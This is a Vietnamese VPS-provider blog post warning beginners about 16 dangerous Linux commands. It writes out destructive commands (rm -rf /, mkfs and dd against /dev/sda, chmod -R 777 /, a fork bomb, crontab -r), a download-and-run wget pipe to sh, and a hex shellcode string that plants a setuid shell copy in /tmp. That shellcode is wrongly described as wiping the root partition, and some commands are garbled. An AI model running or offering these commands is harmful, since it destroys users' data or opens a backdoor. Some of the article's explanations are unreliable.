16 lệnh Linux nguy hiểm và phá hoại bạn nên tránh

Tác giả: VPS chính hãng 06 tháng 05, 2023

Linux là một hệ điều hành mã nguồn mở và tiên tiến, đó là lý do tại sao nó rất phổ biến đối với người dùng và nhà phát triển. Người dùng có thể thực hiện các thay đổi mong muốn của mình bằng cách thực hiện các lệnh Linux trong dòng lệnh. Nhưng nếu không có đủ chuyên môn về mã hóa, việc chạy một số lệnh trong Linux có thể kèm theo nhiều sự cố và lỗ hổng không thể khắc phục. Để tránh các sự cố không mong muốn, trong bài viết này chúng tôi sẽ giới thiệu 16 lệnh Linux nguy hiểm và phá hoại để bạn tránh xa các lệnh này. 

16 lệnh Linux nguy hiểm và phá hoại

Khả năng người dùng mới bắt đầu rơi vào mối nguy hiểm của các lệnh Linux là rất cao vì họ không quen thuộc với các lệnh Linux, và bất cứ lúc nào hệ thống cũng có khả năng bị sập do thực thi một lệnh độc hại. Đặc biệt là sau khi mua VPS Linux. Do vậy hãy nhớ làm quen với các lệnh Linux để quản lý hệ thống của bạn tốt hơn. Hãy cùng điểm qua 16 lệnh Linux nguy hiểm được chúng tôi chọn lọc dưới đây:

1. Lệnh > /dev/sda

Luôn nhớ rằng việc gửi kết quả đầu ra của bất kỳ lệnh nào tới đĩa cứng hoặc phân vùng đều có rủi ro, chẳng hạn như xóa dữ liệu trên đĩa cứng. Nếu bạn đã quen thuộc với các hệ thống tệp, bạn sẽ biết rằng /dev/sda là một trong những phân vùng ổ đĩa lưu trữ dữ liệu hệ thống tệp.

Lệnh > /dev/sda trong chuỗi của bất kỳ lệnh nào khác sẽ ghi đè đầu ra của lệnh trong khối /dev/sda trên đĩa cứng hệ thống Linux của bạn. Điều này sẽ khiến dữ liệu hệ thống tệp trong khối /dev/sda được thay thế bằng đầu ra của lệnh và khiến hệ thống của bạn gặp sự cố và bị hỏng, đồng thời không thể khôi phục được.

Các lệnh sau đây là ví dụ về cách chạy lệnh /dev/sda, lệnh này sẽ ghi đè lên phân vùng của bạn và gây ra những hậu quả không thể đảo ngược. Hãy xem xét các ví dụ sau:

cat file.txt > /dev/sda

hoặc lệnh:

wget http://iranserver.com > /dev/sda
ls -la / > /dev/sda

Lưu ý: Nói chung, việc đặt sai địa chỉ tệp nhật ký hoặc sử dụng khoảng trống trong tên tệp nhật ký sẽ gây ra lỗi. Ví dụ, xem lệnh sau:

find / -iname "*.php" > /dev/sda1/  log.txt

Khi thực hiện lệnh trên, do đặt thêm khoảng trắng giữa/ở cuối và log.txt, thay vì lưu đầu ra của lệnh trong tệp /dev/sda1/log.txt, đầu ra của lệnh được lưu trong thư mục khối /dev/sda1. Do lỗi này, thông tin của ổ đĩa sda1 bị xóa và nội dung của nó được thay thế bằng thông tin khác.

2. Lệnh rm -rf /

Một trong những ưu điểm đáng khen ngợi của Linux là khả năng loại bỏ bất cứ thứ gì bạn muốn loại bỏ. Nhưng đừng để bị những kẻ lừa đảo trên Internet lừa xóa các tệp bằng cách thực hiện bất kỳ lệnh nào, vì đôi khi các lệnh nguy hiểm được đưa ra cho bạn có thể xóa toàn bộ nội dung trong đĩa cứng của bạn.

Lệnh rm với các đối số khác nhau cho phép xóa tệp và thư mục. Vì vậy bạn phải rất cẩn thận khi chạy lệnh rm với các tùy chọn khác nhau để không xảy ra lỗi. Chạy lệnh rm -rf / với quyền Root có nguy cơ xóa tất cả các tệp và thư mục trong hệ thống của bạn khỏi thư mục gốc (/). Và do lệnh này hệ thống của bạn sẽ bị hư hại nghiêm trọng. Lệnh này như sau:

rm -rf /

Một số đối số được thực thi cùng với lệnh rm để xóa tệp như sau:

  • -r: xóa đệ quy trong tất cả các thư mục con, ngay cả các thư mục trống.
  • -f: xóa đệ quy các tệp trong thư mục và tệp chỉ đọc.
  • -rf/: xóa tất cả các thư mục và tệp trong thư mục chính.
  • -rf*: xóa đệ quy các tệp trong thư mục gốc/hiện tại.
  • -rf: xóa tất cả các thư mục và thư mục con.

Lưu ý rằng nếu bạn không có quyền root, việc thực thi lệnh rm-rf/ không có nguy cơ xóa tất cả các tệp và thư mục và sẽ không thành vấn đề. Ngoài ra, khi thực hiện lệnh rm bạn sẽ gặp lỗi khi xóa tệp trong một số trường hợp nhất định, nhưng không có gì đảm bảo rằng bạn sẽ gặp lỗi trước khi xóa tệp và thư mục. Vì vậy hãy tránh chạy lệnh rm -rf /.

=>> Đọc thêm: Cách khắc phục sự cố khởi động Ubuntu

3. Lệnh Chmod -R 777 /

Như bạn đã biết, Linux cung cấp khả năng cộng tác của nhiều người dùng cùng một lúc bằng cách sử dụng các khả năng của nó. Lệnh chmod cung cấp khả năng thay đổi quyền truy cập các tệp nhất định của người dùng. Lệnh Chmod -R 777 / cho phép tất cả người dùng đọc, ghi và thực thi trong các tệp chính như tệp cấu hình. Điều này dẫn đến rủi ro bảo mật nghiêm trọng cho hệ thống Linux vì tất cả người dùng có thể dễ dàng truy cập nội dung của các tệp chính trên hệ thống và họ cũng có thể tạo ra những thay đổi trong đó. Do đó, sẽ mở ra cho một số người dùng có ý định xấu lạm dụng. Điều này sẽ không gây ra hậu quả có lợi. Vì vậy tránh thực hiện lệnh sau:

chmod -R 777 /

Cần lưu ý rằng bằng cách gán quyền cho tất cả người dùng, bạn có thể gặp sự cố khi khởi động hệ thống và một số hệ thống có thể gặp sự cố nghiêm trọng.

4. Lệnh Fork Bomb

Cú pháp chính của lệnh fork bomb như sau:

:(){ :|:& };:

Tập lệnh lạ này là một lệnh đệ quy sẽ tiêu tốn RAM và CPU của hệ thống sau khi thực thi. Lệnh này tiếp tục lặp lại trong nền. Liên tục thực hiện thao tác này sẽ khiến hệ thống của bạn bị đóng băng, vì nó phá hủy hệ thống của bạn bằng cách tiêu thụ tất cả tài nguyên.

Lệnh fork bomb hoạt động giống như tấn công DOS. Cách thức hoạt động của lệnh này là lệnh fork bomb trước tiên tạo một hàm có tên ”:“. Sau đó nó được thực thi bằng cách tạo nội dung của hàm và gửi đầu ra đến một hàm khác của chính nó. Tiếp đến trong khi hàm đang chạy thì nó cũng được thực thi trong nền và bằng cách lặp lại thao tác này, tài nguyên hệ thống sẽ bị tiêu tốn và hệ thống bị gián đoạn. Nếu bạn không muốn hệ thống của mình bị treo, hãy tránh chạy lệnh này.

Giới hạn số lượng tiến trình đang chạy của người dùng cục bộ là một giải pháp khác để chống lại sự tấn công của virus. Ví dụ: để giới hạn số lượng quy trình được thực hiện bởi người dùng cục bộ là 6000, bạn có thể nhập lệnh sau:

ulimit -S -u 6000

Cuối cùng, cách duy nhất để cứu hệ thống Linux của bạn khỏi mối nguy hiểm này là khởi động lại phần cứng. Vì vậy, đừng chạy lệnh Fork Bomb.

Nên tránh lệnh Fork Bomb để tiết kiệm tài nguyên

Nên tránh lệnh Fork Bomb để tiết kiệm tài nguyên

5. Lệnh mkfs.ext3 /dev/sda

Nếu bạn không biết mục đích của việc thực thi lệnh mkfs, nó có thể trở thành một lệnh nguy hiểm xóa tất cả dữ liệu được lưu trữ trên một phân vùng. Lệnh mkfs được thực thi để tạo một hệ thống tệp mới trên thiết bị đã chỉ định. Mọi thứ được nhập sau mkfs sẽ được định dạng và thay thế bằng một hệ thống tệp Linux trống.

Mặc dù có những ưu điểm khi định dạng phân vùng đĩa, nhưng nếu toàn bộ đĩa cứng được định dạng, chẳng hạn như /dev/sda, thì tất cả dữ liệu sẽ bị xóa và không thể khôi phục hệ thống. Lệnh mkfs.ext3 /dev/sdasẽ tạo tệp hệ thống ext3 sau khi định dạng toàn bộ đĩa cứng. Điều này sẽ khiến hệ thống của bạn không khởi động được và bạn sẽ gặp phải thông báo “no bootable medium found? system halted” tức là không tìm thấy phương tiện khởi động? đầu ra hệ thống tạm dừng. Do đó, để tránh kết quả có hại, bạn nên tránh các lệnh sau:

# mkfs.ext3 /dev/sda 

# mkfs.ext4 /dev/sda 

# mkfs.xfs /dev/sda 

# mkfs.btrfs /dev/sda

6. Lệnh mv folder /dev/null

Một phương pháp phòng ngừa khác là không di chuyển thư mục hoặc tệp của bạn sang bất kỳ tệp nào mà bạn không biết. Mọi tệp được chuyển đến /dev/null, còn được gọi là “the black hole” (lỗ đen) sẽ bị mất. Do đó, để bảo vệ các tệp của bạn khi di chuyển chúng sang tệp khác, không thực thi lệnh mv folder /dev/null, vì lệnh này sẽ di chuyển tệp của bạn đến tệp /dev/null và sau đó xóa thông tin thư mục chính của bạn.

7. Lệnh > file

Từ đồng nghĩa của lệnh > file như sau:

cat /dev/null > file

Chuyển hướng trong các hệ thống Linux có những cách sử dụng hữu ích, nhưng bạn phải luôn cẩn thận để không mắc lỗi khi sử dụng các cách chuyển hướng. Việc thực thi lệnh >file để chuyển hướng lệnh tới tệp cũng dẫn đến việc xóa nội dung của tệp hệ thống quan trọng. Điều này có thể tạo ra kết quả không mong muốn. Trong một số trường hợp, lệnh này được sử dụng để xóa nội dung của tệp, tạo điều kiện thuận lợi cho các nhiệm vụ của quản trị viên hệ thống Linux. Nhưng trong một số trường hợp, lỗi sử dụng sẽ dẫn đến kết quả không thể khắc phục được.

=>> Đọc thêm: Cách kiểm tra các Port đang mở trong VPS Linux

8. Lệnh wget http://malicious_source -O- | sh

Để tải xuống các tệp từ web thông qua môi trường dòng lệnh, lệnh Wget được sử dụng. Nhưng nếu đang chạy lệnh wget http://malicious_source -O- | sh sẽ chọn một nguồn độc hại và không đáng tin cậy để tải xuống tệp của bạn và thực thi nó. Do đó sẽ dẫn đến lây nhiễm vi-rút hoặc phần mềm độc hại vào hệ thống của bạn. Vì vậy không sử dụng lệnh này để tải xuống một tệp từ máy chủ hoặc web. Khi tải xuống tệp, hãy kiểm tra địa chỉ gói trong thiết bị đầu cuối để đảm bảo rằng nguồn tải xuống hợp lệ.

9. Lệnh ^foo^bar

Lệnh ^foo^bar giống như một đồng xu có hai mặt, một mặt có lợi và mặt còn lại là rủi ro. Lệnh này rất hiệu quả trong việc tiết kiệm thời gian để chỉnh sửa và thực hiện lại các lệnh đã thực hiện trước đó. Nhưng ít người biết về những rắc rối của lệnh này. Do đó, hãy cẩn thận khi chạy lệnh này, vì một lỗi nhỏ nhất khi chạy lệnh này cũng dẫn đến những rủi ro không thể khắc phục được.

10. Lệnh ẩn

Các lệnh ẩn là một trong những phương thức thực thi các lệnh trong thiết bị đầu cuối không được công bố, nhưng có thể được thực thi trên bộ định tuyến và cũng được mã hóa dựa trên lệnh rm-rf. Các lệnh này được thực thi cho các mục đích đặc biệt, bằng cách ẩn mã của các lệnh ở dạng hex, khiến người dùng bị lừa. Vì bạn có thể không nhận ra các mối đe dọa bằng cách ẩn mã, và cuối cùng bạn sẽ phải đối mặt với với một kết quả không khả quan. Ví dụ, hãy xem xét lệnh sau:

char esp[] __attribute__ ((section(“.text”))) /* e.s.p 

release */ 

= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″ 

“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″ 

“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″ 

“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″ 

“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″ 

“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″ 

“\x6e\x2f\x73\x68\x00\x2d\x63\x00″ 

“cp -p /bin/sh /tmp/.beyond; chmod 4755

Lệnh này sẽ dẫn đến những hậu quả nguy hiểm như xóa phân vùng gốc của hệ thống. Do đó, việc chạy các lệnh ẩn không được khuyến nghị. Ngoài ra, không sao chép và thực thi lệnh từ bất kỳ nguồn không xác định nào, đảm bảo nguồn hợp lệ trước khi thực hiện lệnh.

Lệnh ẩn có thể dẫn đến xóa phân vùng gốc của hệ thống

Lệnh ẩn có thể dẫn đến xóa phân vùng gốc của hệ thống

11. lệnh dd

Một trong những lệnh Linux mạnh nhất là lệnh dd, lệnh này có khả năng trở thành một lệnh Linux nguy hiểm. Lệnh ddđược sử dụng để ghi dữ liệu trên ổ đĩa vật lý và truyền các tệp khác nhau ở mức thấp. Nếu lệnh này không được sử dụng đúng cách, nó sẽ phá hủy nội dung của ổ cứng. Ví dụ: các lệnh sau có thể xóa nội dung của khối /dev/sda và thay thế dữ liệu không mong muốn trong khối:

dd if=/dev/random of=/dev/sda 

dd if=/dev/zero of=/dev/sda 

dd if=/dev/sda1 of=/dev/sda 

dd if=/dev/urandom of=/dev/sdb

Trong các ví dụ trên, các câu lệnh phía trước “if” là đầu vào của lệnh và các câu lệnh phía trước “of” là nơi bạn muốn di chuyển đầu ra của lệnh. Như bạn có thể thấy, đích đến là ổ cứng của thiết bị (sda). Bằng cách này, tất cả nội dung của ổ cứng sẽ bị xóa và đầu ra của lệnh sẽ thay thế chúng.

12. Lệnh mv

Lệnh mv được sử dụng để di chuyển nội dung của một thư mục hoặc tệp đến một vị trí cụ thể. Lệnh này có thể phá hoại khi bạn di chuyển một thư mục đến /dev/null bằng cách thực hiện lệnh mv. Như chúng tôi đã đề cập trước đó, /dev/null là tệp sẽ hủy mọi dữ liệu bạn chuyển sang tệp đó. Vìvậy trong trường hợp này, nội dung của tệp hoặc thư mục sẽ bị xóa. Cú pháp chính của lệnh như sau:

mv directory /dev/null

Cần lưu ý rằng /dev/null không phải là một thư mục mà là một tệp, vì vậy bạn không thể di chuyển thư mục tới tệp đó bằng lệnh mv. Nhưng có thể di chuyển tệp tới /dev/null bằng lệnh mv. Bằng cách truyền tệp và viết lại nội dung của tệp /dev/null, bạn có thể chuyển đổi tệp /dev/null thành một tệp bình thường. Nhưng bạn không thể lấy bất kỳ đầu ra nào từ tệp đó. Do đó, cấu hình sai trong tệp hệ thống có thể gây ra lỗi hệ thống.

=>> Đọc thêm: Cách tìm kiếm tệp và thư mục bằng lệnh Find trong Linux

13. Lệnh history | sh

Một lệnh khác mà bạn nên tránh là lệnh history | sh. Lệnh này là một công cụ shell bên trong cung cấp báo cáo về các lệnh đã thực hiện trước đó và cho phép người dùng thực hiện lại các lệnh từ danh sách được hiển thị mà không cần phải nhập chúng. Lệnh này làm gián đoạn hệ thống do vô tình thực hiện lại các lệnh bạn đã thực hiện trong môi trường đầu cuối.

14. Lệnh crontab -r

Sử dụng lệnh này bạn có thể chỉnh sửa, lập chỉ mục, gửi và xóa các công việc định kỳ được thực hiện theo các khoảng thời gian được lên lịch thường xuyên bởi trình nền cron. Nói chung, lệnh crontab tự động hóa nhiều tác vụ và lưu trữ các lệnh trong một tệp. Nhưng nếu lệnh crontab -rđược chạy, nó có thể xóa tệp chứa thông tin cơ bản của bạn mà không gửi thông báo có/không. Do đó, hãy cẩn thận khi chạy lệnh crontab để không gặp phải những hậu quả không thể khắc phục được. Chúng tôi cũng khuyên bạn nên thường xuyên nhận bản sao dự phòng của tệp crontab.

Tệp chứa thông tin cơ bản có thể bị xóa nếu chạy lệnh crontab 

Tệp chứa thông tin cơ bản có thể bị xóa nếu chạy lệnh crontab

15. Sử dụng toán tử “>” trong câu lệnh

Thông thường, khi ghi vào một tệp cụ thể, toán tử “>” được sử dụng trong các lệnh. Vì vậy bạn nên cẩn thận khi sử dụng toán tử “>”. Vì khi sử dụng để ghi vào tệp nó có thể xóa dữ liệu trong tệp và thay thế nội dung của tệp bằng dữ liệu mới. Cú pháp chính của lệnh mà bạn nên cẩn thận khi thực hiện như sau:

command > config_filename

Do đó, nếu bạn ghi đè lên một tệp cấu hình quan trọng và sử dụng lệnh này để ghi dữ liệu vào tệp cấu hình, hệ thống của bạn có thể gặp sự cố. Do đó, hãy cẩn thận khi thực hiện.

16. Lệnh <em> ghi đè ổ cứng

Ngoài việc định dạng đĩa bạn có thể ghi đè trực tiếp lên đĩa cứng của mình bằng dữ liệu thô. Điều này thường không được khuyến khích. Ví dụ: nếu lệnh sau được sử dụng để ghi đè lên đĩa cứng:

<em>command</em> > /dev/had

Trong lệnh trên, toán tử “>” chuyển hướng lệnh trái sang tệp /dev /HAD, dẫn đến chuyển hướng dữ liệu thô để sử dụng dữ liệu để ghi lại ổ cứng. Có thể kết luận rằng việc thực hiện các lệnh như vậy là vô ích và nó mang lại rủi ro, vì vậy đừng sử dụng các lệnh đó càng nhiều càng tốt.

Lưu ý: Bạn có thể thay thế lệnh <em> bằng bất kỳ lệnh Bash nào.

Trong bài viết này, bạn đã biết các lệnh Linux độc hại và nguy hiểm, vì vậy đừng thực hiện các lệnh này trong VPS Linux hoặc hệ thống Linux của bạn dưới bất kỳ hình thức nào. Lời khuyên của VPSchinhhang dành cho bạn là không thực hiện các lệnh mà bạn không quen thuộc và không sử dụng các nguồn không xác định và không đáng tin cậy để biên dịch hoặc thực thi tệp. Ngoài ra, trước khi chạy các lệnh Linux trên VPS Linux, bạn có thể sử dụng các máy ảo để kiểm tra các lệnh Linux để tránh thiệt hại nguy hiểm cho hệ thống của bạn. Hãy chia sẻ chúng với chúng tôi về những thắc mắc của bạn để được giải đáp nhanh nhất. Cảm ơn đã theo dõi bài viết!